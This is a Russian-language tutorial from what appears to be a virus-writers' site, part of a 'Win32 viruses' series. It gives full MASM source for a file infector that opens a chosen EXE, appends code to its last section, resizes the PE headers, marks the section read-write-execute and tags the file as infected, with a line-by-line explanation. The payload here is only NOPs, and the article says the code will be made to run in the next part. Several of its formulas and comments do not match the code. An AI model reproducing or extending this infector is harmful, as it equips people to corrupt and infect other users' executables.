Welcome to The Passion Of Code Laboratory!!!Статьи

"Win32-вирусы"
4. Первая попытка внесения кода.

Автор:_follower / TPOC

Задача: Внести код в выбранный файл путем до записи в конец последней секции.

До ...

До ...

 

... после

... после

Вот и пришло время для того чтобы научить нашу программу "размножаться". Для того чтобы более доходчиво и с меньшими проблемами решить эту задачу, немного переформулируем ее. Пусть наша программа :

1. работает только с тем файлом, который мы ей укажем;

2. пусть в код выбранной программы вносится не полноценный код, готового к размножению вируса, а последовательность NOP-ов.

… мне кажется для начинающих (коим и я являюсь) эти упрощения помогут выделить суть.
 --------------------------------------------------------------------------------
.386
.MODEL flat,stdcall
OPTION CASEMAP : NONE

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\masm32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\masm32.lib

MIN_KERNEL_SEARCH_BASE EQU 070000000h
MAX_API_STRING_LENGTH EQU 150
VIRII_SIZE EQU ( OFFSET IGI_END - OFFSET IGI_START)
ALIGN_CORRECTION EQU 000001000h
IGI_TRADEMARK EQU ('IGI')
VIRII_R_SIZE EQU 000000200h
VIRII_V_SIZE EQU 000002000h
MAX EQU 255

.CONST
szError DB "Ошибка",0
szGetBaseErr DB "Ошибка в получении адреса kernel.dll",0
szCap DB ":) ",0

szCap_0 DB "CALL CreateFile is FAILED",0
szCap_1 DB "CALL GetFileSize is FAILED",0
szCap_2 DB "CALL GlobalAlloc is FAILED",0
szCap_3 DB "CALL ReadFile is FAILED",0

.DATA
filter db 'PE-executables (*.exe)',0,'*.exe',0,0
buffer db 255 dup (0)
about db 'Please Pick the Target File',0
about_f db 'Target File is ...',0


hFile DD 0
dwFsize DD 0
pMem DD 0

OpenStruct dd 76,0
dd 0
dd offset filter, 0,0,0, offset buffer, MAX, 0,0,0, offset about
dd OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_EXPLORER
dd 0, 0, 0, 0, 0


cBuff DB 120 DUP (0)
VarBuff db 0

.CODE

Main:

invoke GetOpenFileNameA, offset OpenStruct
.if eax==0
jmp _exit_
.endif
lea eax,offset buffer


push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push EAX
push NULL
CALL MessageBox

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


invoke CreateFile,offset buffer,\
GENERIC_WRITE or GENERIC_READ ,\;
FILE_SHARE_READ or FILE_SHARE_WRITE,\;
NULL,\
OPEN_EXISTING,\
FILE_ATTRIBUTE_NORMAL,\
NULL

.IF EAX == INVALID_HANDLE_VALUE
XOR EAX, EAX
INC EAX
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_0
push NULL
CALL MessageBox
JMP SkipFileInfection
.ENDIF

MOV hFile, EAX
PUSH 0
PUSH EAX
CALL GetFileSize
OR EAX, EAX

.IF ZERO?
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_1
push NULL
CALL MessageBox
ADD EAX, 2
JMP SkipFileAndClean1
.ENDIF


MOV dwFsize, EAX
ADD EAX, ALIGN_CORRECTION + VIRII_SIZE
PUSH EAX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL GlobalAlloc
OR EAX, EAX

.IF ZERO?
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_2
push NULL
CALL MessageBox
ADD EAX, 3
JMP SkipFileAndClean1
.ENDIF

MOV pMem, EAX
LEA EAX, OFFSET VarBuff

PUSH NULL
PUSH EAX
PUSH dwFsize
PUSH pMem
PUSH hFile
CALL ReadFile

.IF EAX==0
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_3
push NULL
CALL MessageBox

CALL GetLastError

push OFFSET cBuff
push eax
CALL dwtoa
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET cBuff
push NULL
CALL MessageBox
.ENDIF



;---- Поищем PE сигнатуру ----
MOV ESI, pMem
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE

.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF

ADD WORD PTR SI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE

.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF


ASSUME ESI : PTR IMAGE_NT_HEADERS

;----Найдем последнюю секцию----

MOV EDI, ESI
ADD EDI, 0F8h
MOV CX, [ESI].FileHeader.NumberOfSections

.WHILE CX != 1
DEC CX
ADD EDI, SIZEOF IMAGE_SECTION_HEADER
.ENDW

ASSUME EDI : PTR IMAGE_SECTION_HEADER

; WATCOM C/C++ компилчторы устанавливают Misc.VirtualSize в 0, исправим это

.IF [EDI].Misc.VirtualSize == 0
MOV EAX, [ESI].OptionalHeader.SizeOfImage
SUB EAX, [EDI].VirtualAddress
MOV [EDI].Misc.VirtualSize, EAX
.ENDIF

;----Копируем наш код в файл----
MOV EAX, [EDI].PointerToRawData
ADD EAX, [EDI].SizeOfRawData
ADD EAX, pMem

PUSH ESI
PUSH EDI
MOV ECX, VIRII_SIZE
MOV ESI, OFFSET IGI_START
XCHG EAX, EDI
REP MOVSB
POP EDI
POP ESI

;----Изменим NT -заголовок ----
;-> Изменим OptionalHeader.FileAlignment
MOV [ESI].OptionalHeader.FileAlignment, 0200h

;->Увеличим ImageBase
ADD [ESI].OptionalHeader.SizeOfImage, VIRII_V_SIZE

;->Установим "Товарный знак"
MOV [ESI].FileHeader.PointerToSymbolTable, IGI_TRADEMARK

;----Изменим информацию о секции----
ADD [EDI].Misc.VirtualSize, VIRII_V_SIZE
ADD [EDI].SizeOfRawData, VIRII_R_SIZE
; Секцию можно: читать, писать, выполнять
OR [EDI].Characteristics, 0E0000000h


;---- Пишем из памяти на диск----
;установим файловый указатель записи в 0
PUSH FILE_BEGIN
PUSH NULL
PUSH 0
PUSH hFile
CALL SetFilePointer

; Найдем новый размер файла-жертвы
MOV ECX, [EDI].PointerToRawData
ADD ECX, [EDI].SizeOfRawData

; Пишем на диск
PUSH NULL
LEA EAX, OFFSET VarBuff
PUSH EAX
PUSH ECX
PUSH pMem
PUSH hFile
CALL WriteFile

ASSUME EDI : NOTHING
ASSUME ESI : NOTHING

XOR EAX, EAX

SkipFileAndClean2:
; Освободим выделенную память
PUSH EAX
PUSH pMem
CALL GlobalFree
POP EAX

SkipFileAndClean1:
; Освободим уазатели
PUSH EAX
PUSH hFile
CALL CloseHandle
POP EAX
SkipFileInfection:


invoke ExitProcess,0

;***********************************************************************
;***********************************************************************
IGI_START:

NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

_exit_:

IGI_END:
;***********************************************************************
;***********************************************************************

end Main


1)
invoke GetOpenFileNameA, offset OpenStruct
...
invoke CreateFile,offset buffer,\
GENERIC_WRITE or GENERIC_READ ,\;
FILE_SHARE_READ or FILE_SHARE_WRITE,\;
NULL,\
OPEN_EXISTING,\
FILE_ATTRIBUTE_NORMAL,\
NULL
...
MOV hFile, EAX

PUSH 0
PUSH EAX
CALL GetFileSize
...

Используя диалог GetOpenFileNameA() получаем доступ к указанному пользователем файлу. Открываем выбранный файл для чтения-записи. Определяем объем выбранного файла в байтах.

2)
ADD EAX, ALIGN_CORRECTION + VIRII_SIZE
PUSH EAX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL GlobalAlloc
...
MOV pMem, EAX

 

Тут мы занялись формированием нового размера последней секции файла. Во-первых, есть такое правило: размер секции должен быть выравнял по границе 1000h.( Необходимо это учесть при увеличении размера секции путем добавления к ее размеру ALIGN_CORRECTION. Во-вторых, добавим размер нашего с позволения сказать :) "вируса".
Далее мы резервируем в памяти объем равный этой нашей сумме, и сохраняем полученный указатель.
 

3)
LEA EAX, OFFSET VarBuff
PUSH NULL
PUSH EAX
PUSH dwFsize
PUSH pMem
PUSH hFile
CALL ReadFile

Теперь считаем выбранный нами файл-жертву в зарезервированную память. Теперь по указателю pMem у нас лежит образ выбранного файла с дополнительным пустым местом в конце. Объем пустого места составляет как раз столько, сколько нужно, чтобы дописать туда код "вируса".
 

4)
;---- Поищем PE сигнатуру ----
MOV ESI, pMem
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE
.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF
ADD WORD PTR SI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE
.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF

 Начнем обработку файла в памяти. Является ли выбранный нами файл PE-файлом? Найдем IMAGE_DOS_SIGNATURE и IMAGE_NT_SIGNATURE в начале файла в памяти. Подробно этот участок описан в первой статье.
 

5)
ASSUME ESI : PTR IMAGE_NT_HEADERS
;----Найдем последнюю секцию----
MOV EDI, ESI
ADD EDI, 0F8h
MOV CX, [ESI].FileHeader.NumberOfSections

Отобразим у себя перед глазами структуры IMAGE_NT_HEADERS и IMAGE_FILE_HEADER из того же windows.inc.

 

Структура 4.1
IMAGE_NT_HEADERS STRUCT
  Signature DWORD ?
  FileHeader IMAGE_FILE_HEADER <>
  OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS

 

Структура 4.2
IMAGE_FILE_HEADER STRUCT
  Machine WORD ?
  NumberOfSections WORD ?
  TimeDateStamp DWORD ?
  PointerToSymbolTable DWORD ?
  NumberOfSymbols DWORD ?
  SizeOfOptionalHeader WORD ?
  Characteristics WORD ?
IMAGE_FILE_HEADER ENDS

 

Закрепим ESI за структурой IMAGE_SECTION_HEADER. Начнем искать последнюю секцию в файле. Если прибавить к [IMAGE_NT_HEADERS] 0F8h мы попадем на первую секцию в нашем файле, т.е. на первую в файле структуру IMAGE_SECTION_HEADER.

 

Структура 4.3
IMAGE_SECTION_HEADER STRUCT
  Name1   IMAGE_SIZEOF_SHORT_NAME dup(?)
  union Misc      
    PhysicalAddress dd ?
    VirtualSize dd ?
  ends      
  VirtualAddress   dd ?
  SizeOfRawData   dd ?
  PointerToRawData   dd ?
  PointerToRelocations   dd ?
  PointerToLinenumbers   dd ?
  NumberOfRelocations   dd ?
  NumberOfLinenumbers   dd ?
  Characteristics   dd ?
IMAGE_SECTION_HEADER ENDS


Далее поместим в ECX количество секций в файле. Например в файле _empty.exe ( мы его будим заражать) их 2. Проверим это с помощью программы [2.1].

 

Рис 4.3.

... количество секций в файле

6)
.WHILE CX != 1
DEC CX
ADD EDI, SIZEOF IMAGE_SECTION_HEADER
.ENDW
ASSUME EDI : PTR IMAGE_SECTION_HEADER

Запускаем цикл, пока CX не равен 1. Уменьшаем CX на 1. К указателю на начало структуры IMAGE_SECTION_HEADER добавляем размер этой же структуры. В конце концов, указатель в EDI, у нас, окажется на начале последней секции. Свяжем EDI со структурой PTR IMAGE_SECTION_HEADER.
 

7)
;WATCOM C/C++ компилчторы устанавливают Misc.VirtualSize в 0, исправим это
.IF [EDI].Misc.VirtualSize == 0
MOV EAX, [ESI].OptionalHeader.SizeOfImage
SUB EAX, [EDI].VirtualAddress
MOV [EDI].Misc.VirtualSize, EAX
.ENDIF

Тут нам немного приходится делать не свою работу. Дело в том что компиляторы фирмы Watcom устанавливают в 0 величину [IMAGE_SECTION_HEADER].Misc.VirtualSize - размер секции в памяти. Подправим ее до корректного размера, ведь мы потом будем увеличивать его до размера "вируса". Отразим используемые тут структуры.

В ESI - у нас указатель на IMAGE_NT_HEADERS
В EDI - у нас указатель на IMAGE_SECTION_HEADER

 

Структура 4.4

IMAGE_OPTIONAL_HEADER32 STRUCT
Magic WORD ?
MajorLinkerVersion BYTE ?
MinorLinkerVersion BYTE ?
SizeOfCode DWORD ?
SizeOfInitializedData DWORD ?
SizeOfUninitializedData DWORD ?
AddressOfEntryPoint DWORD ?
BaseOfCode DWORD ?
BaseOfData DWORD ?
ImageBase DWORD ?
SectionAlignment DWORD ?
FileAlignment DWORD ?
MajorOperatingSystemVersion WORD ?
MinorOperatingSystemVersion WORD ?
MajorImageVersion WORD ?
MinorImageVersion WORD ?
MajorSubsystemVersion WORD ?
MinorSubsystemVersion WORD ?
Win32VersionValue DWORD ?
SizeOfImage DWORD ?
SizeOfHeaders DWORD ?
CheckSum DWORD ?
Subsystem WORD ?
DllCharacteristics WORD ?
SizeOfStackReserve DWORD ?
SizeOfStackCommit DWORD ?
SizeOfHeapReserve DWORD ?
SizeOfHeapCommit DWORD ?
LoaderFlags DWORD ?
NumberOfRvaAndSizes DWORD ?
DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
IMAGE_OPTIONAL_HEADER32 ENDS

ESI].OptionalHeader.SizeOfImage - Смотри структ.4.4
SizeOfImage - согласно [1.2] общий размер загруженного модуля в памяти, начиная от ImageBase до конца последней секции.

[EDI].VirtualAddress - Смотри структ.4.3
VirtualAddress - согласно [1.2] RVA первого байта заражаемой секции в памяти.

Используя формулу ниже получаем реальный размер секции в памяти:

 

Правило 4.1.

[IMAGE_NT_HEADERS].OptionalHeader.SizeOfImage
-
[IMAGE_SECTION_HEADER].VirtualAddress

____________________________
Реальный размер секции в памяти.


8)

;----Копируем наш код в файл----
MOV EAX, [EDI].PointerToRawData
ADD EAX, [EDI].SizeOfRawData
ADD EAX, pMem

PUSH ESI
PUSH EDI

MOV ECX, VIRII_SIZE ; в ECX - размер вируса
MOV ESI, OFFSET IGI_START ; в ESI - начало вирусного кода
XCHG EAX, EDI ; в EDI - указатель на конец последней
; секции заражаемого файла в памяти

REP MOVSB ; повторять перемещение из ESI в EDI ECX раз

POP EDI
POP ESI

Теперь начнем копировать наш код в образ файла в памяти.

В EDI - у нас, все также, указатель на IMAGE_SECTION_HEADER. [EDI].PointerToRawData - смещение от начала файла, до первого байта пополняемой нами (последней в выбранном файле ) секции. Далее команда ADD добавит к этому смещению размер последней секции. Мы же не хотим затереть ее вносимым нами кодом :) .
 

Правило 4.2.

[IMAGE_SECTION_HEADER].PointerToRawData
+
[IMAGE_SECTION_HEADER].VirtualAddress
+
pMem ( адрес начала образа файла в памяти)
___________________________________________
Адрес конца последней секции в памяти.
 

 

Ну и добавим ко всему этому начало нашего файла, чтобы получить реальный адрес в памяти. Далее сохраним регистры EDI и ESI, чтобы не потерять указатели на нужные нам структуры. Внесем наш код.

9)

;----Изменим NT -заголовок ----
;-> Изменим OptionalHeader.FileAlignment
MOV [ESI].OptionalHeader.FileAlignment, 0200h

;->Увеличим ImageBase
ADD [ESI].OptionalHeader.SizeOfImage, VIRII_V_SIZE

 принципе с кодом все. Осталось подправить некоторые поля заголовка и, как говорится, в путь.

Напомним :
VIRII_V_SIZE EQU 000002000h

В ESI у нас указатель на IMAGE_NT_HEADERS.

[ESI].OptionalHeader.FileAlignment - (смотри структ. 4.4.) содержит по умолчанию значение 0200h. Это размер сектора на диске. Посмотрим в [1.1] :

"File Align - ( он же FileAlignment )фактор используемый для выравнивания секций в программном файле. В байтовом значении указывает на границу на которую секции дополняются 0 при размещении в файле. Большое значение приводит к нерациональному использованию дискового пространства, маленькое увеличивает компактность, но и снижает скорость загрузки. Должен быть степенью 2 в диапазоне от 512 до 64К включительно. Прочие значения вызовут ошибку загрузки файла. Я так думаю, что размер файла штука более важная."

Написал я к Yod-е ( автор FLY 0.1) и спросил: "Что такое VIRII_V_SIZE , и VIRII_R_SIZE".

Он ответил:

"The V stands for virtual. It's the size of the virii in RAM. The R stands for raw. It's the size of the virii on the harddisk. sistemo@gmx.net"

Мне не хотелось теребить его следующими вопросами. Хочется все делать самому. Учитывая то что данные слагаемые должны выдерживать условия кратности для полученной суммы, мы поступим по другому ( может быть это не экономно но осознанно, и работает).

Начнем с VIRII_V_SIZE. Мы должны увеличить величину всего отведенного под загружаемый файл объема на величину кратную Object Align. Так как диапазон допустимых значений для Object Align достаточно большей, то выберем величину нужную нам, допустим, равной VIRII_R_SIZE * 10h = 2000h. VIRII_R_SIZE - рассмотрим ниже. Можно и поменьше, но зачем ? Посмотрим в [1.1] :


"Image Size - ( он же SizeOfImage ) виртуальный размер в байтах всего загружаемого образа, вместе с заголовками, кратен величине Object Align "

"Object Align - ( он же SectionAlignment )выравнивание программных секций, должен быть степенью 2 между 512 и 256М включительно, так же связано с системой памяти. При использовании других значений программа не загрузится."

10)

;->Установим "Товарный знак"
MOV [ESI].FileHeader.PointerToSymbolTable, IGI_TRADEMARK

Зараженный файл нужно как-то пометить, чтобы не заражать его заново.
[ESI].OptionalHeader. PointerToSymbolTable - (смотри структ. 4.2.) Посмотрим в [1.1]:

"Pointer to COFF table - ( он же PointerToSymbolTable ) дополнительный указатель определяющий местонахождение отладочной COFF таблицы в файлах, отладочную информацию лучше всего искать по другому".

 

11)

;----Изменим информацию о секции----
ADD [EDI].Misc.VirtualSize, VIRII_V_SIZE
ADD [EDI].SizeOfRawData, VIRII_R_SIZE
; Секцию можно: читать, писать, выполнять
OR [EDI].Characteristics, 0E0000000h

Virtual Size - ( он же VirtualSize) виртуальный размер секции, именно столько памяти будет отведено под секцию. Если Virtual Size превышает Physical Size, то разница заполняется нулями, так определяются секции неинициализированных данных (Physical Size=0)

"Physical Size - ( он же SizeOfRawData ) размер секции (ее инициализированной части) в файле, кратно полю File Align в заголовке PE Header, должно быть меньше или равно Virtual Size. Играя с этим полем можно добиться некоторых результатов ;-) загрузчик по идее хлопает всю секцию в отведенное ОЗУ"

Тут диапазон допустимых значений для File Align - ( он же FileAlignment ) поменьше, поэтому допустим что размер секции от нашего вируса увеличится на 512 * 1 = 200h. То есть мы приняли величину VIRII_R_SIZE равной 200h чисто из жадности, но кратной FileAlignment . Вообще код нашего вируса пока 13 байт, но взяли число кратное 512. Реальный вирус будет больше по размеру этого числа, тогда возьмем тут 512 * 2 … 3 … 4. То же с величиной VIRII_V_SIZE но он должна быть кратна Object Align.

[EDI].Characteristics (см. стр. 4.3.). Посмотрим в [1.1]:
"Object Flags - ( он же Characteristics ) битовые флаги секции." Это указатель на отладочную таблицу в PE-файлах, там обычно ничего нет, там нули.
Согласно [1.4. стр.129] :
" Это поле определяет атрибуты раздела и используется как логическая шкала.
 

IMAGE_SCN_MEM_EXECUTE      0x20000000
IMAGE_SCN_MEM_READ            0x40000000
IMAGE_SCN_MEM_WRITE          0x80000000
____________________________________
Сумма          =                             0xE0000000
 

 … теперь данный раздел можно читать, в него можно писать, код из него можно выполнять.
И вносим в поле характеристик.
 

12)

;---- Пишем из памяти на диск----
;установим файловый указатель записи в 0
PUSH FILE_BEGIN
PUSH NULL
PUSH 0
PUSH hFile
CALL SetFilePointer

; Найдем новый размер файла-жертвы
MOV ECX, [EDI].PointerToRawData
ADD ECX, [EDI].SizeOfRawData

; Пишем на диск
PUSH NULL
LEA EAX, OFFSET VarBuff
PUSH EAX
PUSH ECX
PUSH pMem
PUSH hFile
CALL WriteFile

Установим файловый указатель файла-жертвы на начало файла. Получим новый размер файла жертвы по формуле:
 

Правило 4.3.

[IMAGE_SECTION_HEADER].PointerToRawData
+
[IMAGE_SECTION_HEADER].SizeOfRawData
____________________
Новый размер файла-жертвы

 В EDI у нас указатель на IMAGE_SECTION_HEADER. Посмотрим в [1.1]:

"Physical Offset - (он же PointerToRawData)физическое смещение относительно начала EXE файла, выровнено на границу File Align поля заголовка PE Header. Смещение используется загрузчиком как seek значение."

"Physical Size - ( он же SizeOfRawData ) размер секции (ее инициализированной части) в файле, кратно полю File Align в заголовке PE Header, должно быть меньше или равно Virtual Size. Играя с этим полем можно добиться некоторых результатов ;-) загрузчик по идее хлопает всю секцию в отведенное ОЗУ"

И команда записи на диск.
VarBuff - указатель на какой-то мусор эта память нужна функции WriteFile() для того чтобы внести туда количество записанных байт. Но нам это не надо и мы просто ссылаем этот указатель к концу файла.

ASSUME EDI : NOTHING
ASSUME ESI : NOTHING

XOR EAX, EAX

SkipFileAndClean2:
; Освободим выделенную память
PUSH EAX
PUSH pMem
CALL GlobalFree
POP EAX

SkipFileAndClean1:
; Освободим уазатели
PUSH EAX
PUSH hFile
CALL CloseHandle
POP EAX
SkipFileInfection:

invoke ExitProcess,0

Освобождаем регистры ESI и EDI , память, указатель на файл, и выходим.

Теперь хочется посмотреть что же получилось у нас с этим файлом?

Воспользуемся программой Hiew и прокрутим до конца файла. Тут мы и увидим наши NOP.
Далее посмотрим на размеры файла, все так как обещалось в начале на рисунке - размер вырос.

Рис. 4.4


... все так как обещалось

Но в целом пользы от этого кода никакой. Этот код даже не получает управления. Он просто дописался и лежит. В следующей статье этот код немного "оживет". Код получит управление и вернет его программе-жертве. До свиданья !


Исходник


 Перечень используемой литературы.

[1.1] - Описание формата файлов РЕ от Hard Wisdom
[1.2] - Файл \masm32\include\windows.inc
[1.3] - Billy Belcebu "Путеводитель по написанию вирусов под Win32". пер. Aquila (www.wasm.ru)
[1.4] - П.В.Румянцев "Работа с файлами".Москва.2000.

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)